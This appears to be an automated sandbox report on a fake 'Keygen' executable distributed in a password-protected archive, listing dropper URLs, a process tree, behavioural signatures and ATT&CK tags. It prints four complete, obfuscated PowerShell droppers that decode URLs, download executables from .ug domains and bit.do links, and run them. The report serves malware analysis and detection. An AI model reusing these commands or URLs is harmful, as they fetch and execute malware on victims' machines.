201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
7s
max time network
166s
platform
windows7_x64
resource
win7v200722
submitted
01-10-2020 20:51

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Report Analysis Logs

General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (94) — копия.exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Signatures

Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

Keygen.exe

pid process

1692 Keygen.exe
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

1520 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1856 timeout.exe
524 timeout.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Keygen.exe

pid process

1692 Keygen.exe

pid	process
1692	Keygen.exe

pid	process
1520	cmd.exe

pid	process
1856	timeout.exe
524	timeout.exe

pid	process
1692	Keygen.exe

Suspicious use of WriteProcessMemory 52 IoCs

Processes:

Keygen — копия (94) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exe

description	pid	process	target process
PID 1184 wrote to memory of 1520	1184	Keygen — копия (94) — копия.exe	cmd.exe
PID 1184 wrote to memory of 1520	1184	Keygen — копия (94) — копия.exe	cmd.exe
PID 1184 wrote to memory of 1520	1184	Keygen — копия (94) — копия.exe	cmd.exe
PID 1184 wrote to memory of 1520	1184	Keygen — копия (94) — копия.exe	cmd.exe
PID 1520 wrote to memory of 1692	1520	cmd.exe	Keygen.exe
PID 1520 wrote to memory of 1692	1520	cmd.exe	Keygen.exe
PID 1520 wrote to memory of 1692	1520	cmd.exe	Keygen.exe
PID 1520 wrote to memory of 1692	1520	cmd.exe	Keygen.exe
PID 1520 wrote to memory of 1384	1520	cmd.exe	mshta.exe
PID 1520 wrote to memory of 1384	1520	cmd.exe	mshta.exe
PID 1520 wrote to memory of 1384	1520	cmd.exe	mshta.exe
PID 1520 wrote to memory of 1384	1520	cmd.exe	mshta.exe
PID 1520 wrote to memory of 1148	1520	cmd.exe	mshta.exe
PID 1520 wrote to memory of 1148	1520	cmd.exe	mshta.exe
PID 1520 wrote to memory of 1148	1520	cmd.exe	mshta.exe
PID 1520 wrote to memory of 1148	1520	cmd.exe	mshta.exe
PID 1520 wrote to memory of 1856	1520	cmd.exe	timeout.exe
PID 1520 wrote to memory of 1856	1520	cmd.exe	timeout.exe
PID 1520 wrote to memory of 1856	1520	cmd.exe	timeout.exe
PID 1520 wrote to memory of 1856	1520	cmd.exe	timeout.exe
PID 1148 wrote to memory of 1564	1148	mshta.exe	powershell.exe
PID 1148 wrote to memory of 1564	1148	mshta.exe	powershell.exe
PID 1148 wrote to memory of 1564	1148	mshta.exe	powershell.exe
PID 1148 wrote to memory of 1564	1148	mshta.exe	powershell.exe
PID 1384 wrote to memory of 1916	1384	mshta.exe	powershell.exe
PID 1384 wrote to memory of 1916	1384	mshta.exe	powershell.exe
PID 1384 wrote to memory of 1916	1384	mshta.exe	powershell.exe
PID 1384 wrote to memory of 1916	1384	mshta.exe	powershell.exe
PID 1520 wrote to memory of 1956	1520	cmd.exe	mshta.exe
PID 1520 wrote to memory of 1956	1520	cmd.exe	mshta.exe
PID 1520 wrote to memory of 1956	1520	cmd.exe	mshta.exe
PID 1520 wrote to memory of 1956	1520	cmd.exe	mshta.exe
PID 1520 wrote to memory of 856	1520	cmd.exe	mshta.exe
PID 1520 wrote to memory of 856	1520	cmd.exe	mshta.exe
PID 1520 wrote to memory of 856	1520	cmd.exe	mshta.exe
PID 1520 wrote to memory of 856	1520	cmd.exe	mshta.exe
PID 1520 wrote to memory of 524	1520	cmd.exe	timeout.exe
PID 1520 wrote to memory of 524	1520	cmd.exe	timeout.exe
PID 1520 wrote to memory of 524	1520	cmd.exe	timeout.exe
PID 1520 wrote to memory of 524	1520	cmd.exe	timeout.exe
PID 856 wrote to memory of 544	856	mshta.exe	powershell.exe
PID 856 wrote to memory of 544	856	mshta.exe	powershell.exe
PID 856 wrote to memory of 544	856	mshta.exe	powershell.exe
PID 856 wrote to memory of 544	856	mshta.exe	powershell.exe
PID 1956 wrote to memory of 1984	1956	mshta.exe	powershell.exe
PID 1956 wrote to memory of 1984	1956	mshta.exe	powershell.exe
PID 1956 wrote to memory of 1984	1956	mshta.exe	powershell.exe
PID 1956 wrote to memory of 1984	1956	mshta.exe	powershell.exe
PID 1520 wrote to memory of 1332	1520	cmd.exe	mshta.exe
PID 1520 wrote to memory of 1332	1520	cmd.exe	mshta.exe
PID 1520 wrote to memory of 1332	1520	cmd.exe	mshta.exe
PID 1520 wrote to memory of 1332	1520	cmd.exe	mshta.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (94) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (94) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1184

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\405A.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (94) — ?????.exe""
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1520

C:\Users\Admin\AppData\Local\Temp\405A.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1692

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\405A.tmp\m.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1384

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:1916

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\405A.tmp\m1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1148

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:1564

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:1856

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\405A.tmp\b.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1956

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:1984

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\405A.tmp\b1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:856

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:544

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:524

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\405A.tmp\ba.hta"
3⤵
PID:1332

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\405A.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\405A.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\405A.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\405A.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\405A.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\405A.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\405A.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\405A.tmp\start.bat

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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\Users\Admin\AppData\Local\Temp\405A.tmp\Keygen.exe

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memory/524-21-0x0000000000000000-mapping.dmp

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memory/544-22-0x0000000000000000-mapping.dmp

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memory/856-20-0x0000000000000000-mapping.dmp

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memory/1148-10-0x0000000000000000-mapping.dmp

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memory/1332-25-0x0000000000000000-mapping.dmp

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memory/1384-8-0x0000000000000000-mapping.dmp

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memory/1520-0-0x0000000000000000-mapping.dmp

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memory/1564-12-0x0000000000000000-mapping.dmp

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memory/1692-4-0x0000000000000000-mapping.dmp

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memory/1692-5-0x0000000000000000-mapping.dmp

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memory/1856-11-0x0000000000000000-mapping.dmp

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memory/1916-13-0x0000000000000000-mapping.dmp

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memory/1956-16-0x0000000000000000-mapping.dmp

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memory/1984-23-0x0000000000000000-mapping.dmp

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